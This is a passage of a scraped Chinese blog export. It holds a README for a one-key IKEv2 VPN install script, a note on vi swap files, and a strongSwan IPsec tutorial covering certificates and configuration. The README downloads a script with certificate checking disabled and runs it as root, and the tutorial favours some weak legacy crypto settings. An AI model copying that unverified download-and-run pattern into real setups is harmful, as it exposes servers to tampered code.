id=\"特性\"\u003e特性\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cul\u003e\n\u003cli\u003e服务端要求：Ubuntu或者CentOS-6.*\u003c/li\u003e\n\u003cli\u003e客户端：\n\u003cul\u003e\n\u003cli\u003eiOS/OSX=\u0026gt;ikev1,ikev2\u003c/li\u003e\n\u003cli\u003eAndriod=\u0026gt;ikev1\u003c/li\u003e\n\u003cli\u003eWindowsPhone=\u0026gt;ikev2\u003c/li\u003e\n\u003cli\u003e其他Windows平台=\u0026gt;ikev2\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e可使用自己的私钥和根证书，也可自动生成\u003c/li\u003e\n\u003cli\u003e证书可绑定域名或ip\u003c/li\u003e\n\u003cli\u003e要是图方便可一路回车\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003ch1 id=\"最近更新\"\u003e最近更新\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cul\u003e\n\u003cli\u003e使用新版strongswan(5.3.5),编译参数修改;\u003c/li\u003e\n\u003cli\u003e优化iptables包处理;\u003c/li\u003e\n\u003cli\u003e添加接口判断选择;\u003c/li\u003e\n\u003cli\u003e加入对iOS9的ikev2支持;\u003c/li\u003e\n\u003cli\u003eDH组修改为2048,解决iOS9设备8分钟断开的问题;\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003ch1 id=\"服务端安装说明\"\u003e服务端安装说明\u003c/h1\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e下载脚本:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ewget --no-check-certificate https://raw.githubusercontent.com/quericy/one-key-ikev2-vpn/master/one-key-ikev2.sh\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003e注:如需使用其他分支的脚本,请将上述url中的master修改为分支名称,各分支区别详见本页的 \u003ca href=\"https://github.com/quericy/one-key-ikev2-vpn#%E5%88%86%E6%94%AF%E8%AF%B4%E6%98%8E\"\u003e分支说明\u003c/a\u003e 节点\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e运行( \u003cstrong\u003e如果有需要使用自己的根证书请将私钥命名为ca.pem，将根证书命名为ca.cert.pem，放到脚本的相同目录下再运行该脚本\u003c/strong\u003e)：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003echmod +x one-key-ikev2.sh\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ebash one-key-ikev2.sh\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e等待自动配置部分内容后，选择vps类型（OpenVZ还是Xen、KVM）， \u003cstrong\u003e选错将无法成功连接，请务必核实服务器的类型\u003c/strong\u003e。输入服务器ip或者绑定的域名(连接vpn时服务器地址将需要与此保持一致)，以及证书的相关信息(C,O,CN)，为空将使用默认值(default value)，确认无误后按任意键继续\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e是否使用SNAT规则(可选).使用前请确保服务器具有不变的 \u003cstrong\u003e静态公网ip\u003c/strong\u003e,可提升防火墙对数据包的处理速度.默认为不使用.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e补充网卡接口信息,为空则使用默认值(Xen、KVM默认使用eth0,OpenVZ默认使用venet0).如果服务器使用其他公网接口需要在此指定接口名称,否则连接后可能无法访问外网)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e输入两次pkcs12证书的密码(可以为空)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e看到install Complete字样即表示安装完成。默认用户名密码将以黄字显示，可根据提示自行修改配置文件中的用户名密码,多用户则在配置文件中按格式一行一个(多用户时用户名不能使用%any),保存并重启服务生效。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e将提示信息中的证书文件ca.cert.pem拷贝到客户端，修改后缀名为.cer后导入。ios设备使用Ikev1无需导入证书，而是需要在连接时输入共享密钥，共享密钥即是提示信息中的黄字PSK.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1 id=\"客户端配置说明\"\u003e客户端配置说明:\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e连接的服务器地址和证书保持一致,即取决于签发证书ca.cert.pem时使用的是ip还是域名;\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eAndroid/iOS/OSX\u003c/strong\u003e 可使用ikeV1,认证方式为用户名+密码+预共享密钥(PSK);\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eiOS/OSX/Windows7+/WindowsPhone8.1+/Linux\u003c/strong\u003e 均可使用IkeV2,认证方式为用户名+密码,均需要先导入证书,可将ca.cert.pem更改后缀名作为邮件附件发送给客户端,手机端也可通过浏览器导入,其中:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eiOS/OSX\u003c/strong\u003e 的远程ID和服务器地址保持一致,用户鉴定选择\u0026quot;用户名\u0026quot;.如果通过浏览器导入,将证书放在可访问的远程外链上,并在 \u003cstrong\u003e系统浏览器\u003c/strong\u003e(Safari)中访问外链地址;\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eWindows PC\u003c/strong\u003e 系统导入证书需要导入到 \u003cstrong\u003e\u0026ldquo;本地计算机\u0026rdquo;\u003c/strong\u003e 的\u0026quot;受信任的根证书颁发机构\u0026quot;,以\u0026quot;当前用户\u0026quot;的导入方式是无效的.推荐运行mmc添加本地计算机的证书管理单元来操作;\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eWindowsPhone8.1\u003c/strong\u003e 登录时的用户名需要带上域信息,即wp\u0026quot;关于\u0026quot;页面的设备名称\\用户名,也可以使用%any %any : EAP \u0026ldquo;密码\u0026quot;进行任意用户名登录,但指定了就不能添加其他用户名了.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eWindowsPhone10\u003c/strong\u003e的vpn还存在bug(截至10586.164),ikeV2方式可连接但系统流量不会走vpn,只能等微软解决. (截至14393.5 ,此bug已经得到修复,现在WP10已经可以正常使用IkeV2.)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eWindows10\u003c/strong\u003e 也存在此bug,部分Win10系统连接后ip不变,没有自动添加路由表,使用以下方法可解决(本方法由 bigbigfish 童鞋提供):\u003c/p\u003e","title":"一键搭建适用于Ubuntu/CentOS的IKEV2/L2TP的VPN"},{"content":"当我在linux下用vi打开Test.java文件时\n[root@localhost tmp]# vi Test.java\n会出现如下信息：\nDos代码\nE325: ATTENTION Found a swap file by the name \u0026ldquo;.Test.java.swp\u0026rdquo; owned by: root dated: Wed Dec 713:52:562011 file name: /var/tmp/Test.java modified: YES user name: root host name: localhost process ID: 26153 (still running) While opening file \u0026ldquo;Test.java\u0026rdquo; dated: Wed Dec 714:00:462011 NEWER than swap file! (1) Another program may be editing the same file. If this is the case, be careful not to end up with two different instances of the same file when making changes. Quit, or continue with caution. (2) An edit session for this file crashed. If this is the case, use \u0026ldquo;:recover\u0026rdquo; or \u0026ldquo;vim -r Test.java\u0026rdquo; to recover the changes (see \u0026ldquo;:help recovery\u0026rdquo;). If you did this already, delete the swap file \u0026ldquo;.Test.java.swp\u0026rdquo; to avoid this message. \u0026ldquo;Test.java\u0026rdquo; 11L, 237C Press ENTER or type command to continue 原因是我之前有一次使用vi 操作Test.java文件时出现了异常中断，所以在当前目录下产生了一个.Test.java.swp文件\n但是我使用ls命令查看该目录下，却发现没有这个文件，后来使用ls -a命令查看才知道Test.java.swp是一个隐藏文件。\n注：以.开头的文件就是隐藏文件\n当我把该隐藏文件删除后再次打开就没有上面的警告了。\n[root@localhost tmp]# rm .Test.java.swp\nrm: remove regular file `.Test.java.swp\u0026rsquo;? y\n[root@localhost tmp]#\n","permalink":"https://www.lucien116.com/archives/107/","summary":"\u003cp\u003e当我在linux下用vi打开Test.java文件时\u003c/p\u003e\n\u003cp\u003e[root@localhost tmp]# vi Test.java\u003c/p\u003e\n\u003cp\u003e会出现如下信息：\u003c/p\u003e\n\u003cp\u003eDos代码\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eE325: ATTENTION\u003c/li\u003e\n\u003cli\u003eFound a swap file by the name \u0026ldquo;.Test.java.swp\u0026rdquo;\u003c/li\u003e\n\u003cli\u003e         owned by: root   dated: Wed Dec  713:52:562011\u003c/li\u003e\n\u003cli\u003e         file name: /var/tmp/Test.java\u003c/li\u003e\n\u003cli\u003e         modified: YES\u003c/li\u003e\n\u003cli\u003e         user name: root   host name: localhost\u003c/li\u003e\n\u003cli\u003e         process ID: 26153 (still running)\u003c/li\u003e\n\u003cli\u003eWhile opening file \u0026ldquo;Test.java\u0026rdquo;\u003c/li\u003e\n\u003cli\u003e             dated: Wed Dec  714:00:462011\u003c/li\u003e\n\u003cli\u003e      NEWER than swap file!\u003c/li\u003e\n\u003cli\u003e(1) Another program may be editing the same file.\u003c/li\u003e\n\u003cli\u003e    If this is the case, be careful not to end up with two\u003c/li\u003e\n\u003cli\u003e    different instances of the same file when making changes.\u003c/li\u003e\n\u003cli\u003e    Quit, or continue with caution.\u003c/li\u003e\n\u003cli\u003e(2) An edit session for this file crashed.\u003c/li\u003e\n\u003cli\u003e    If this is the case, use \u0026ldquo;:recover\u0026rdquo; or \u0026ldquo;vim -r Test.java\u0026rdquo;\u003c/li\u003e\n\u003cli\u003e    to recover the changes (see \u0026ldquo;:help recovery\u0026rdquo;).\u003c/li\u003e\n\u003cli\u003e    If you did this already, delete the swap file \u0026ldquo;.Test.java.swp\u0026rdquo;\u003c/li\u003e\n\u003cli\u003e    to avoid this message.\u003c/li\u003e\n\u003cli\u003e\u0026ldquo;Test.java\u0026rdquo; 11L, 237C\u003c/li\u003e\n\u003cli\u003ePress ENTER or type command to continue\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e原因是我之前有一次使用vi 操作Test.java文件时出现了异常中断，所以在当前目录下产生了一个.Test.java.swp文件\u003c/p\u003e","title":"linux下vi操作Found a swap file by the name"},{"content":"本教学介绍了如何使用 Strongswan 5.0.x 在 openSUSE 12.3+ 服务器上架设支持 ikev1/ikev2 的 Ipsec VPN。适用于 openSUSE、iOS、Android、Windows 和其它 Linux。\n注意 Strongswan 5 即现在的主力支持版本和 Strongswan 4 的 ipsec.conf 有很大的不同（作废了很多选项），请保证您的版本为 5.0.4+ 本教学才有参考价值。因此请不要往 Debian 这些软件包版本旧的系统上套，同样 openSUSE 用户也不要拿 Debian 的来套。\n注意 本文的例子仅以最常见的 VPS/客户机模式为例，假设客户机使用图形客户端，因此并不涉及客户端文本配置的内容。其中的原理和服务器端配置可用于其它用途比如服务器到服务器（Site to Site）的连接，但这种连接的客户端文本配置部分需要领会原理自己写。\n注意 本文只适用于有 VPS 的爱好者使用，并不提供已建立好的 demo 供测试，但保证文中出现的配置如无意外如上游改选项，实际中都是能够使用的。因此并不可用于「免费 VPN」这样的话题，如何优惠购买 VPS 请到我们的论坛 forum.suse.org.cn。本文也不讨论如何进行后台计费，但提供了计费软件的名称供 VPN 服务商参考，因此只适用于小团体的共用。如果小群体产生流量纠纷而需区分账户，那解散才是治本的方法，其它都只能治标。\n目录 [ 隐藏]\n1什么是 IPsec？ 2设备/操作系统规格 2.1Linux 2.2Android 2.3iOS/Mac OS X 2.4Windows 3安装 Srongswan 4生成证书（可选） 4.1生成 CA 证书 4.2生成服务器证书 4.3生成客户端证书 4.4生成 pkcs12 证书（可选） 5安装证书 6配置 Strongswan 6.1ipsec.conf 6.2ipsec.secrets 6.3strongswan.conf 7启动 Strongswan 8配置 Iptables 转发 9openSUSE 客户端配置 10其它客户端配置 10.1其它 Linux 10.1.1Chakra Linux 10.2iOS 10.3Android 10.3.1IPSec Xauth PSK 10.3.2\u0026quot;strongSwan VPN Client\u0026quot; for Android 4.0 (ICS)+ 10.4Windows XP/Vista 10.4.1使用 Shrew Soft VPN Client 10.5Windows 7+ 11调试 11.1日志阅读技巧 11.2服务器端调试 11.3Linux 调试 11.4iOS 调试 11.5Android 调试 11.6Windows 调试 12扩展阅读 12.1计费软件 13参考文献 14作者 什么是 IPsec？ IPsec 是 虚拟私密网络（VPN） 的一种，用于在服务器和客户端之间建立加密隧道并传输敏感数据之用。它由两个阶段组成，第一阶段（Phrase 1, ph1），交换金钥建立连接，使用互联网金钥交换（ike）协议; 第二阶段（Phrase 2, ph2），连接建立后对数据进行加密传输，使用封装安全载荷（esp）协议。参考： 维基百科 IPsec 词条。\n其中，第一阶段和第二阶段可以使用不同的加密方法（cipher suites）。甚至，第一阶段 ike 协议的第一版（ikev1）有两种模式，主力模式（main mode）和积极模式（aggressive mode），主力模式进行六次加密握手，而积极模式并不加密，以实现快速建立连接的目的。\n第一阶段的 ike 协议有两个版本（ikev1/ikev2），不同的开源/闭源软件实现的版本均不同，不同的设备实现的版本也不同。再联系到第一阶段/第二阶段使用的各种不同加密方法，使得 IPsec 的配置有点黑魔法的性质，要么完全懂，通吃; 要么完全不懂，照抄。\n设备/操作系统规格 这里主要介绍了设备/操作系统使用的 ike 版本及其特殊要求。\nLinux 命令行客户端就是 strongswan 本身，因此完美兼容，支持 ikev1/ikev2 和所有加密方法的连接。因此如果用户只使用 Linux 命令行客户端，不使用各种移动设备也不使用 Windows，那么完全没有那么多事。\n但 Linux 的图形界面客户端 NetworkManager-strongswan 目前只支持 ikev2 连接，必须使用证书或 EAP （各种加密方法都支持，包括微软的 MSCHAPv2）进行认证，不支持纯密码（PSK）认证。这并不是 strongswan 的错误，或者技术不行（开源总是走在技术最前沿的，毕竟命令行是支持的），而仅仅是体现一种选择：ikev1 被 strongswan 项目认为是该淘汰的协议，而 PSK 加密被认为是非常不安全的。参考 strongswan 维基 NetworkManager 词条。\nAndroid Android 和 Linux 不一样，只支持 ikev1。其它方面和 Linux 一样，甚至有好多种 IPsec VPN 配置模式可供选择。\niOS/Mac OS X 它们声明使用的 IPsec 客户端为 Cisco，实际为自己修改的 racoon。它只支持 ike 协议的第一版即 ikev1，可以使用证书或纯密码（PSK）认证，但必须辅之 xauth 用户名/密码认证。\n该修改版的 racoon 会优先使用不加密的积极模式，而积极模式是 strongSwan 所不支持的。所以要使用主力模式。\niOS 6 还有一个「衔尾」故障：它在第一阶段握手时会把数据包拆分成小块（fragmentation），然后「加密」发送。然而这种加密仅仅是声明的，其实并未加密，这就导致 strongSwan 及其它标准服务器端/Cisco 设备无法解密。另外 ikev1 的 fragmentation 插件是闭源的。开源服务器端无法对这些小块进行重组。参考： Cisco VPN stop working after upgrading to IOS 6\n所以产生了一种权宜之计，就是使用小证书（小于 1024，默认一般为 2048）,来达到不拆包的目的。但是 Mac OS X 10.7 的更新却对这种方式进行了封杀，学习微软加入了证书验证，小证书直接拒绝。\n所幸 strongswan 5.0.2 已经完成了 fragmentation 的开源实现和对 iOS 那个声明加密其实未加密故障的处理： IKE message fragmentation (cisco) + IOS 6.0 Hack for encrypted flaged ike fragmentation packets，该链接中也能找到 strongswan 4 的补丁。\nWindows 微软的差劲只比 iOS 好一点。好处在于它支持了 ikev2，但是只在 Windows 7 以后支持，Vista 之前依然使用 ikev1。\n坏处在于它的 ikev2 支持非常诡异，指定了 Diffie Hellman group（DH， 迪菲－赫尔曼密钥交换 组）必须是 modp1024。这是非常少见理论上不应该由系统管理员操心的加密选项：\n在 strongswan 中，定义第一阶段（ike）和第二阶段（esp）加密方法的语法是：\nike/esp=encryption-integrity[-dhgroup][-esnmode] 第一阶段/第二阶段=加密方法-健壮性认证方法 （后面两项可选）[-DH 组] [-扩展序列号支持模式（RFC4304）] 参考： IKEv2CipherSuites\nWindows 定义了一个可选的选项，导致了我们必须去定义整个第一阶段的加密方法。这样被破解的可能性就提高了。\n其次在于它的 rekey（重连）。IPsec 的认证是有时效的，超过时间会重新认证。这种 CHILD_SA 认证可由服务器发出，也可由客户端发出，一般是由服务器发出。但是 Windows 7 的 ikev2 的表现是，如果你在路由器（NAT）后，收到这种请求会把微软内部的通知代码发出去，代码为 12345, 经过 strongswan 项目侦错后发现这个代码的意思是 ERROR_IPSEC_IKE_INVALID_SITUATION。但是处理不了，它不是 IPsec 标准协议定义过的错误。\n于是有两种权宜之计：\n一种是让 Windows 7 来主动 rekey。Windows 7 rekey 的时间大约是 58 分 46 秒，所以要配置服务器 rekey 时间比它长。但是效果非常不好。因为 rekey 是由三个变量控制的，key 的生命周期，key 的边际时间（生命周期前多久进行 rekey），和边际时间误差（rekeyfuzz），误差是不可控的。参考： ExpiryRekey。\n即使能控制 strongswan 这边，Windows 依然是「大约」; 即使两边都能控制，假设服务器延后一秒 rekey，理论上如果连接持续时间足够长，依然能够撞车：58x60+46 次 rekey 后即 146 天后撞车，连一年都没有，在 Linux 服务器对 Windows 服务器这种使用实例中就明显不符合要求。\n所以目前只能使用后一种方法即完全禁用服务器端 rekey。\n最后，它的 EAP 认证也非常糟糕。MSCHAPv2 的 eap 身份不是 ikev2 身份（ikev2 身份一般是 EAP 用户名），所以必须在服务器端显式定义 eap_identity 来使用 Windows 7 的 eap 身份。\n安装 Srongswan sudo zypper ar -f http://download.opensuse.org/repositories/network:/vpn/openSUSE_12.3/ network:vpn sudo zypper ref sudo zypper in --no-recommends strongswan-ipsec 这里 \u0026ndash;no-recommends 是不带推荐软件包，因为推荐的软件包都是针对桌面环境的，服务器用不到。\n如果你的版本是 openSUSE 12.1/12.2，请相应替换源地址。\n生成证书（可选） 注意 如果不生成证书，后面配置部分的配置中用 pubkey 认证的 conn 都不能用，甚至不能保留在配置中。\n每一个完整的 ssl 证书都有一个公钥和一个私钥，它们可以在一起也可以分开放（当然如果你要在网络上传输，肯定只能用公钥）。公钥是在网络上传输的，而私钥是藏好用来和接收到的公钥配对的（因此私钥里也有整个公钥，用来配对）。\n生成 CA 证书 生成一个私钥：\nipsec pki --gen --outform pem \u0026gt; ca.pem 没什么好解释的，\u0026ndash;outform 一共有三个格式可选，但是另外两个是 der 和 pgp\u0026hellip;\n基于这个私钥自己签一个 CA 证书：\nipsec pki --self --in ca.pem --dn \u0026#34;C=CN, O=strongSwan, CN=strongSwan CA\u0026#34; --ca --outform pem \u0026gt; ca.cert.pem 这里 \u0026ndash;self 表示自签证书，\u0026ndash;in 是输入的私钥，\u0026ndash;dn 是判别名，\u0026ndash;ca 表示生成 CA，其它同上。这里需要解释下判别名：\nC 表示国家名，同样还有 ST 州/省名，L 地区名，STREET（全大写） 街道名。 O 表示组织名。 CN 为通用名。 具体见微软的文档： Distinguished Names\n生成服务器证书 同样生成私钥：\nipsec pki --gen --outform pem \u0026gt; server.pem 用我们刚才自签的 CA 证书给自己发一个服务器证书：\nipsec pki --pub --in server.pem | ipsec pki --issue --cacert ca.cert.pem \\ --cakey ca.pem --dn \u0026#34;C=CN, O=strongSwan, CN=forum.suse.org.cn\u0026#34; \\ --san=\u0026#34;forum.suse.org.cn\u0026#34; --flag serverAuth --flag ikeIntermediate \\ --outform pem \u0026gt; server.cert.pem 这条命令的意思解释下：\nipsec pki --pub --in server.pem 是从我们刚生成的私钥里把公钥提取出来，然后用公钥去参与后面的服务器证书签发（这个是 VPN 连接时候要用的，你不想把私钥也给它吧？那样跟没签证书一样\u0026hellip;）。\n\u0026ndash;issue, \u0026ndash;cacert 和 \u0026ndash;cakey 就是表明要用刚才自签的 CA 证书来签这个服务器证书。\n\u0026ndash;dn, \u0026ndash;san，\u0026ndash;flag 是一些客户端方面的特殊要求：\niOS 客户端要求 CN 也就是通用名必须是你的服务器的 URL 或 IP 地址; Windows 7 不但要求了上面，还要求必须显式说明这个服务器证书的用途（用于与服务器进行认证），\u0026ndash;flag serverAuth; 非 iOS 的 Mac OS X 要求了「IP 安全网络密钥互换居间（IP Security IKE Intermediate）」这种增强型密钥用法（EKU），\u0026ndash;flag ikdeIntermediate; Android 和 iOS 都要求服务器别名（serverAltName）就是服务器的 URL 或 IP 地址，\u0026ndash;san。 生成客户端证书 依然是生成私钥：\nipsec pki --gen --outform pem \u0026gt; client.pem 然后用刚才自签的 CA 证书来签客户端证书：\nipsec pki --pub --in client.pem | ipsec pki --issue --cacert caCert.pem \\ --cakey caKey.pem --dn \u0026#34;C=CN, O=strongSwan, CN=client\u0026#34; \\ --outform pem \u0026gt; client.cert.pem 这时命令行会提示你输入两遍密码，这个就是你的客户端证书密码。\n看懂了服务器的，客户端的也就不难理解了。除了没有那一堆特殊要求别的都一样。\n客户端证书可以每个客户端签一个，也可以让它们公用一个。是否多签看用途，一般用于区分设备（计费是不用这样的，是用账户来区分的）。\n生成 pkcs12 证书（可选） 你可能还想生成一个可以直接导入的 pkcs12 证书（用于手机，诺基亚没这东西还不行）：\nopenssl pkcs12 -export -inkey client.pem -in client.cert.pem -name \u0026#34;client\u0026#34; \\ -certfile ca.cert.pem -caname \u0026#34;strongSwan CA\u0026#34; -out client.cert.p12 安装证书 cp -r ca.cert.pem /etc/ipsec.d/cacerts/ cp -r server.cert.pem /etc/ipsec.d/certs/ cp -r server.pem /etc/ipsec.d/private/ cp -r client.cert.pem /etc/ipsec.d/certs/ cp -r client.pem /etc/ipsec.d/private/ CA 证书、客户证书（两个）和 .p12 证书用 FTP 复制出来给客户端用。有几种 Android 配置还需要服务器证书（server.cert.pem）。\n配置 Strongswan ipsec.conf config setup uniqueids=never conn iOS_cert keyexchange=ikev1 # strongswan version \u0026gt;= 5.0.2, compatible with iOS 6.0,6.0.1 fragmentation=yes left=%defaultroute leftauth=pubkey leftsubnet=0.0.0.0/0 leftcert=server.cert.pem right=%any rightauth=pubkey rightauth2=xauth rightsourceip=10.0.0.0/24 rightcert=client.cert.pem auto=add # also supports iOS PSK and Shrew on Windows conn android_xauth_psk keyexchange=ikev1 left=%defaultroute leftauth=psk leftsubnet=0.0.0.0/0 right=%any rightauth=psk rightauth2=xauth rightsourceip=10.0.0.0/24 auto=add # compatible with \u0026#34;strongSwan VPN Client\u0026#34; for Android 4.0+ # and Windows 7 cert mode. conn networkmanager-strongswan keyexchange=ikev2 left=%defaultroute leftauth=pubkey leftsubnet=0.0.0.0/0 leftcert=server.cert.pem right=%any rightauth=pubkey rightsourceip=10.0.0.0/24 rightcert=client.cert.pem auto=add conn windows7 keyexchange=ikev2 ike=aes256-sha1-modp1024! rekey=no left=%defaultroute leftauth=pubkey leftsubnet=0.0.0.0/0 leftcert=server.cert.pem right=%any rightauth=eap-mschapv2 rightsourceip=10.0.0.0/24 rightsendcert=never eap_identity=%any auto=add 其中 config setup 只能出现一次，而 conn \u0026lt;连接名称\u0026gt; 可以有很多个。这里的名称不是预定义的，可以随意写，只要你能识别就行，主要用来定义一种连接，就是为了让你在日志里好找。\n新版 strongswan 里 config setup 的内容不如旧版的多，许多旧版必须有的选项都被作废了。比如：\nplutostart 新版所有的 ike 协议都由原来 ikev2 的 daemon：charon 接管。根本就没有 pluto 了。 nat_traversal 新版所有的 ike 协议都是可以穿越路由器（NAT）的。 virtual_private 定义服务器的局域网 IP 地址。现在被魔术字 0.0.0.0/0 取代了。 pfs 完美向前保密，用于 rekey 时。意思是你现在的金钥互换过程如果被攻破了，会不会对已经互换过的金钥产生影响。以前一般设置成 no 来适用于 iOS 这种客户端会以积极模式发出非加密的 rekey 请求的情况。现在这个选项完全没作用了。第一阶段永远是完美向前保密的，第二阶段（esp）如果指定了 DH 组那么也是完美向前保密的，但是默认加密方法就已经指定了 DH 组。所以该选项永远为 yes。 而另外旧版和新版都有的选项也都定义了默认值，比如：\nstrictpolicy 是否一定需要证书吊销列表（CRL）的 URL。默认就是 no。 charonstart 是否启动 ikev2 的 daemon。这是旧版加入的，因为那个时候的主力是 pluto。现在默认就是 yes，你改成 no 那你连原先 pluto 的连接都无法连接，因为 ike 协议的实现全被 charon 接管了。 所以 config setup 基本上占位就行了。这里我们修改了 uniqueids 的值来实现多设备同时在线。\n而 conn 最主要要理解左右的概念。其实左右是可以不分的，它们只是用来表示一个连接的两端。只是在如果你定义的不够全面时，左侧会默认被认为是本机（你的 VPS），右侧默认为他机（你的笔记本），即以左为尊。\nleft/right 是左右 id。它们用来识别服务器/客户端，可以是证书的判别名（DN），比如 \u0026ldquo;C=CN, O=strongSwan, CN=strongSwan CA\u0026rdquo;，也可以是 IP 地址，也可以是 EAP 的用户名，还可以是魔术字 %any，表示什么都行。只是在 5.0.0 之前，为本机这边定义 %any 的话，ikev1 连接即 keyexchange=ikev1 的连接是识别不了，所以要改成 %defaultroute 表示自己从 ifconfig 里取 IP。为了和 right 的 %any 区分开，我们使用这种方法。所以说到最后这两个选项似乎没有什么用。但它们是必须的。 leftauth/rightauth 这是最重要的改动。新版主要是作废了之前的 authby 和 xauth=server/client 选项而都改用这种方法。因此使得 ikev1 也能够出现混血认证（左右两边认证的方法不同）了。参数主要有 pubkey 表示用证书，psk 表示用密码，eap 表示用扩展验证协议。 leftauth2/rightauth2 是为了应对旧版很常见的 authby=xauthpsk/xauthrsasig 的。现在 xauth 只能写在这里。而 psk 对应 leftauth/rightauth 里的 PSK 方法，rsasig 则对应 pubkey 方法。 leftsubnet 最重要的，引入了魔术字 0.0.0.0/0。如果你在右侧为客户端分配虚拟 IP 地址的话，那表示你之后要做 iptables 转发，那么左边就必须是用魔术字。 leftcert/rightcert 就是指定证书名字。 rightsourceip 为客户端分配的虚拟 IP 段。 auto 定义 strongswan 启动时该连接的行为。start 是启动; route 是添加路由表，有数据通过就启动; add 是添加连接类型但不启动; ignore 是当它不存在。默认是 ignore。看起来似乎是 route 比较好，但问题是我们服务器端不能预分配虚拟 IP，所以服务器端一般用的都是 add。而客户端文本配置可以选择 start。 另外说下旧版的 xauth=server/client 的问题。它表示在服务器端还是在客户端执行 xauth 认证。而在新版中主要通过左右方向来体现。比如你在服务器端执行认证，那认证请求是由客户端发出的，所以要写 rightauth2=xauth。如果在客户端执行认证，那认证请求是服务器发出的，所以要写 leftauth2=xauth。\n另外网上很常见的一个配置选项是 leftfirewall=yes。这是完全错误的。看上去它的唯一作用是定义你的服务器是不是在防火墙后面，但实际上它是作为 ipsec_updown 脚本的参数被开发出来，是表明你的本机 subnet 是不是用 iptables 转发/伪装出来的。如果是的话，就调用 left/rightupdown 定义的路径下的脚本，脚本的作用是对通过 ipsec 连接的数据包进行 iptables 豁免。\n之所以说它是错到离谱的（虽然没有产生影响），因为这些人完全就不懂，有公网 IP 的服务器的 subnet 很少是伪装的。另外必须写了脚本该选项才有意义，没看过一个定义了这个选项的人写过脚本。还有，leftsubnet=0.0.0.0/0 通过魔术字把 subnet 定义为了 any，你根本没法写脚本啊。所以我们这里完全就不用。\n至于某类型连接，主要是根据设备规格定义的，一些特殊选项的解释如下：\nfragmentation=yes 开启对 iOS 拆包的重组支持。 ike=aes256-sha1-modp1024! Windows 指定的第一阶段加密方法。 rekey=no 服务器对 Windows 发出 rekey 请求会断开连接。 rightsendcert=never 因为这是一个混血连接。服务器对自己的身份进行认证时使用的是证书，而服务器对客户端的认证使用的只是 eap-mschapv2。如果不设置的话默认是 ifasked，意思是如果服务器向客户端请求证书，客户端就会给它，但客户端给不出，连接就会断。这里设置为客户端永远不给，实际上的意思其实是服务器不要向客户端请求证书。 eap_identity=%any 使用 Windows 的 eap 身份。不然会出现”no eap key found for host “错误。 ipsec.secrets # # ipsec.secrets # # This file holds the RSA private keys or the PSK preshared secrets for # the IKE/IPsec authentication. See the ipsec.secrets(5) manual page. # : RSA server.pem : PSK \u0026#34;PSK password\u0026#34; marguerite : XAUTH \u0026#34;user password\u0026#34; marguerite : EAP \u0026#34;user password\u0026#34; 看上去比较好理解，实际不是。\n有些人可能会误以为：\n: PSK \u0026#34;PSK password\u0026#34; marguerite : XAUTH \u0026#34;user password\u0026#34; 是成对的，用于比如 android-xauth-psk 这样的连接，于是到了 iOS 的时候又写了一对：\n: RSA server.pem marguerite : XAUTH \u0026#34;user password\u0026#34; 来支持 iOS 的 RSA + XAUTH 认证。\n这样做是没有必要的，上面定义的是四种认证方法。它们之间是遵循「各找各妈」的原则的，可以任意混搭。即你写了一个 XAUTH 即可支持所有完全使用或部分使用 XAUTH 方法的连接。\n实际上：\n: PSK \u0026#34;PSK password\u0026#34; 相当于：\n%any %any : PSK \u0026#34;PSK password\u0026#34; 遵循：\n主机 对等点 : 方法 \u0026lt;本机证书/协议密码\u0026gt; \u0026lt;本机证书密码\u0026gt; 的格式。以 ：为分界，分别从左到右填充，除了各类密码缺失以 null 补位，其它都用 %any 补位（密码怎么可能是 %any）。\n于是\nmarguerite : EAP \u0026#34;user password\u0026#34; 相当于\nmarguerite %any : EAP \u0026#34;user password\u0026#34; // EAP 方法没有证书，也就没有证书密码 这里有些人可能迷惑了，前面不是说过以左为尊、本机（这里是 VPS）默认在左边吗，你刚才定义 eap-mschapv2 的时候可是定义给的 